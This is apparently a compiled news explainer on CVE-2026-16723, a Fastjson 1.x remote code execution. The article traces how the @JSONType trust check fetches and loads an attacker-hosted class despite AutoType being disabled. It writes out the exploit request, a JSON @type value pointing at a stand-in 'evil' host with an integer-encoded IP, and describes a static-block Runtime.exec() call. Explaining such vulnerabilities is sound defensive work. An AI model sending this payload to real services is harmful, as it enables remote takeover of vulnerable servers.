Build1 publisher3 min readPublished
A Fastjson RCE walks in through the annotation check, not the type blacklist
CVE-2026-16723 fires against Fastjson 1.x with AutoType disabled and no known gadget class, because the @JSONType trust branch fetches an attacker-hosted class over HTTP just to read a metadata flag.
The Engineer · Build desk

What happened
- CVE-2026-16723 gives pre-auth remote code execution against Fastjson 1.x even with AutoType disabled and no known gadget class, using a brand-new class the attacker writes and hosts.
- When the loader is a URLClassLoader subclass, as Spring Boot's fat-JAR loader is, that fetch opens an HTTP connection to the attacker's server and returns the downloaded bytes.
- Once the JVM defines the class its static initializer runs automatically, executing the Runtime.exec() call planted in the static block.
Compiled by The EngineerSomething wrong?How this is made
Why it matters
- exposure Teams that disabled AutoType and relied on the gadget blacklist are still reachable, because the exploit does not use a blacklisted class and never touches AutoType.
- decision The @JSONType trust branch was treated as internal metadata, not untrusted input, which is the assumption that has to be revisited in any review of this code path.
- contradiction The source disputes early write-ups that frame this as load happening before the annotation check, though its own correction is cut off mid-sentence.
The gadget-blacklist model assumes an attacker has to name a dangerous class. Every round of hardening in `checkAutoType` asked one question: is the string in `@type` a known dangerous gadget [6]? CVE-2026-16723 does not name a gadget. The attacker writes a brand-new class of their own, annotates it with `@JSONType`, and hosts it remotely [1].
The relevant code path was never the one that got audited. The `@JSONType` annotation-trust branch is separate from the `@type` dispatch logic, and it was built on the assumption that a developer who annotates their own class can be trusted [7]. On its face it is not choosing what to instantiate. It is checking a metadata flag.
Checking that flag requires the bytes of the class, and Fastjson fetches them through the JVM class loader [8]. Look at point (B) in the reconstructed 1.2.83 control flow: the method calls `defaultClassLoader.getResourceAsStream(resource)` [9]. That name sounds local. If `defaultClassLoader` is a `URLClassLoader` or a subclass of one, the call resolves a `jar:http://` scheme, opens a connection to the attacker's server, and hands back the downloaded bytes [10]. Spring Boot's fat-JAR loader is exactly such a subclass [10].
So the two name-shape gates never engage. `safeMode` and the hash blacklist filter type names [11]. The crafted string `jar:http:..3232235876:8080.evil!.Evil` does not resemble a Java class name, so both gates pass it straight through [11]. The exploit lives in gates 3 and 4 [11].
The IP is encoded as a 32-bit integer inside that string. `192.168.1.100` becomes `3232235876` [3]. The payload is a POST of `{"@type":"jar:http:..3232235876:8080.evil!.Evil"}` to any endpoint that calls `JSON.parseObject()` on the body [4]. `checkAutoType()` then fetches the class bytes twice: once to inspect them at point (B), once to load them for real at point (E) [5][12]. The moment the JVM defines the class, its `static { }` block runs, and that block calls `Runtime.exec()` [2][13].
Two properties in this code are genuinely sound and still do not help. ASM's `ClassReader` only parses bytecode; it never executes it [14]. That guarantees Fastjson did not run the class. The guarantee covers execution only, and the fetch from an attacker-controlled host is a separate matter [14]. And the exception handler at point (D) swallows errors silently, which is what lets an attacker probe without noise [15].
The write author, in dev.to, notes that a lot of early write-ups describe this as load happening before the annotation check, and starts to correct that framing before the text cuts off [16]. The correction matters for anyone reading the earlier accounts, because the fetch at point (B) is the primitive, and it happens while the code is still deciding whether the class is trustworthy [9][10].
If you turned off AutoType and trusted the blacklist, this reaches you anyway. The method has been hardened repeatedly since CVE-2017-18349, through the blacklist, an FNV-1a rolling-hash upgrade, the `safeMode` kill switch, `expectClass` tightening, and the CVE-2022-25845 fix [17]. All of it aimed at the same question about `@type` [6]. The branch that reads the annotation sat outside every one of those rounds.
What to watch
- Whether Alibaba ships a Fastjson 1.x patch that stops getResourceAsStream from resolving remote schemes during the @JSONType check.
- Whether affected applications can mitigate by constraining the defaultClassLoader so it cannot open jar:http:// connections.
- The full text of the author's correction to earlier write-ups, which is cut off in the published source.